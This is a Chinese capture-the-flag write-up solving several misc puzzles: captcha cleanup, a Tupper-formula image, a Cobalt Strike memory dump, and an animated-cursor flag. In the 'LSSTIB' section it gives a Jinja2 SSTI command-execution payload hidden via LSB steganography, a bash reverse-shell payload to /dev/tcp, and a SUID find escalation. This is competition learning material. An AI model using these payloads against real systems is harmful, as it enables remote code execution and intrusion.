这下榜一大哥了

Misc

验证码

图片里很多黑点干扰ocr,写个脚本去一下

from PIL import Image
import os
img_list = os.listdir('imgs')
for i in img_list:
    img = Image.open('imgs/'+i)
    for j in range(30):
        for k in range(70):
            if (img.getpixel((k, j)) == (0, 0, 0)):
                img.putpixel((k, j), (255, 255, 255))
    img.save('files/'+i)

这下清晰了

直接进行一个qq自带的文字识别,得到所有数字

1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552

网上抄个tupper自指的脚本

import numpy as np
import matplotlib.pyplot as plt
from PIL import Image

def Tupper_self_referential_formula(k):
    aa = np.zeros((17, 106))

    def f(x, y):
        y += k
        a1 = 2**-(-17*x - y % 17)
        a2 = (y // 17) // a1
        return 1 if a2 % 2 > 0.5 else 0
    for y in range(17):
        for x in range(106):
            aa[y, x] = f(x, y)
    return aa[:, ::-1]

k = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552  # 输入你要提取的k
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')
# 翻转
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)
plt.imshow(dst1)
plt.show()

水平翻转得到flag

Snake on web

下载下来,本地调一下速度(反应力实在不行,玩了好久

手动玩到100分即可

来一把紧张刺激的CS

两个工具直接梭,https://blog.nviso.eu/2022/03/11/cobalt-strike-memory-dumps-part-6/和https://github.com/Immersive-Labs-Sec/volatility_plugins

最后的生成flag

LSSTIB

lsb在线解密,看题目名可知存在ssti

直接抄个payload

{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

然后将其以lsb加密的方式放在图片里面

生成图片载体脚本

from PIL import Image
#MAX = 25
# 二维码大小
pic = Image.new("RGB", (320, 1))
str = "0"*320
i = 0
for y in range(0, 1):
    for x in range(0, 320):
        if (str[i] == '1'):
            pic.putpixel([x, y], (0, 0, 0))
        else:
            pic.putpixel([x, y], (255, 255, 255))
        i = i+1

pic.save("1.png")

lsb加密脚本(其中flag.txt是payload

# -*- coding: utf-8 -*-
"""
Created on Sun May 19 11:20:05 2019
@author: Administrator
"""

from PIL import Image

def plus(string):
    # Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
    return string.zfill(8)

def get_key(strr):
    # 获取要隐藏的文件内容
    with open(strr, "rb") as f:
        s = f.read()
        string = ""
        for i in range(len(s)):
         # 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
         # 1.先用ord()函数将s的内容逐个转换为ascii码
         # 2.使用bin()函数将十进制的ascii码转换为二进制
         # 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
         # 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
            string = string+""+plus(bin(s[i]).replace('0b', ''))
    # print(string)
    return string

def mod(x, y):
    return x % y

# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径

def func(str1, str2, str3):
    im = Image.open(str1)
    # 获取图片的宽和高
    width, height = im.size[0], im.size[1]
    print("width:"+str(width))
    print("height:"+str(height))
    count = 0
    # 获取需要隐藏的信息
    key = get_key(str2)
    keylen = len(key)
    for h in range(height):
        for w in range(width):
            pixel = im.getpixel((w, h))
            a = pixel[0]
            b = pixel[1]
            c = pixel[2]
            if count == keylen:
                break
            # 下面的操作是将信息隐藏进去
            # 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
            # 再从需要隐藏的信息中取出一位,转换为整型
            # 两值相加,就把信息隐藏起来了
            a = a-mod(a, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            b = b-mod(b, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            c = c-mod(c, 2)+int(key[count])
            count += 1
            if count == keylen:
                im.putpixel((w, h), (a, b, c))
                break
            if count % 3 == 0:
                im.putpixel((w, h), (a, b, c))
    im.save(str3)

def main():
    # 原图
    old = "1.png"
    # 处理后输出的图片路径
    new = "2.png"
    # 需要隐藏的信息
    enc = "flag.txt"
    func(old, enc, new)

if __name__ == '__main__':
    main()

加密后的图片直接上传,得到成功的回显

于是可以试试弹个shell

payload:

{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"').read()}}

lsb加密后上传,成功反弹shell

然后就是常规的suid提权

find / -perm -u=s -type f 2>/dev/null

发现find命令有suid权限

直接提权读flag

你看这个指针它可爱吗

直接目力,眼都看花了,windows直接看,狠狠copy出题人的脚本

from PIL import Image
import io,os,sys
import logging

logging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s',level=logging.INFO)

def analyzeANIFile(filePath):
    with open(filePath,'rb') as f:
        if f.read(4) != b'RIFF':
            return {"code":-1,"msg":"File is not a ANI File!"}
        logging.debug('文件头检查完成!')
        fileSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
        # if os.path.getsize(filePath) != fileSize:
        #     return {"code":-2,"msg":"File is damaged!"}
        logging.debug('文件长度检查完成!')
        if f.read(4) != b'ACON':
            return {"code":-1,"msg":"File is not a ANI File!"}
        logging.debug('魔数检查完成!')
        frameRate = (1/60)*1000
        while(True):
            chunkName = f.read(4)
            if chunkName == b'LIST':
                break
            chunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
            if chunkName.lower() == b'rate':
                logging.debug('发现自定义速率!')
                frameRate = frameRate * int.from_bytes(f.read(4), byteorder='little', signed=False)
                logging.warning('发现自定义速率!由于GIF限制,将取第一帧与第二帧的速率作为整体速率!')
                f.read(chunkSize - 4)
            else:
                logging.debug('发现自定义Chunk!')
                f.read(chunkSize)
        listChunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
        if f.read(4) != b'fram':
            return {"code":-3,"msg":"File not a ANI File!(No Frames)"}
        logging.debug('frame头检查完成!')
        frameList = []
        nowSize = 4
        while(nowSize < listChunkSize):
            if f.read(4) != b'icon':
                return {"code":-4,"msg":"File not a ANI File!(Other Kind Frames)"}
            nowSize += 4
            subChunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)
            nowSize += 4
            frameList.append(f.read(subChunkSize))
            nowSize += subChunkSize
        return {"code":0,"msg":frameList,"frameRate":frameRate}

if __name__ == '__main__':
    if len(sys.argv) < 2:
        logging.fatal("Usage:python ani2gif.py <inputFile> <outputFile,Option>")
    else:
        res = analyzeANIFile(sys.argv[1])
        GIFframes = []
        if res["code"] == 0:
            logging.info('ANI文件分析完成,帧提取完成!')
            for frame in res["msg"]:
                frameImage = Image.open(io.BytesIO(frame),formats=['CUR']).convert('RGBA')
                GIFframes.append(frameImage)
            if(len(sys.argv) >= 3):
                GIFframes[0].save(sys.argv[2],format="GIF",save_all=True, append_images=GIFframes[1:], optimize=False, duration=res["frameRate"], loop=0, transparency=0, disposal=2)
            else:
                GIFframes[0].save(f"{sys.argv[1].strip('.ani')}.gif",format="GIF",save_all=True, append_images=GIFframes[1:], optimize=False, duration=res["frameRate"], loop=0, transparency=0, disposal=2)
            logging.info('GIF生成完成!')
        else:
            logging.fatal(res["msg"])

mac的把base64转成6张tiff之后继续目力,得到所有flag字符,看起来大概是这样的

lfa
g1{
351
12c
8-1
8
7
4
-
4
6
7b-
8df
7-b
89f
476
0d8
10}

mac的顺序没问题

8df7-b89f4760d810}

windows的顺序主要是ani,cur的没问题,照着hint找到option字段

就在"seq "的后面,以三个00分割,下图为1.ani

照着排个序即可,具体如下

字母 在gif中的顺序 在option里的顺序
l 1 13
f 3 7
a 17 22

g 6 2
1 7 13
{ 26 6

3 3 23
5 9 14
1 10 17

1 1 6
2 7 7
c 9 5

8 22 30
- 34 28
1 41 0

7 3 21
b 18 18
- 31 25

因此另一半flag为

flag{1513c121-8874-46b7-

flag为

flag{1513c121-8874-46b7-8df7-b89f4760d810}

Web

象棋王子

看js,找到flag后放控制台里跑一跑

电子木鱼

一眼丁真,可以溢出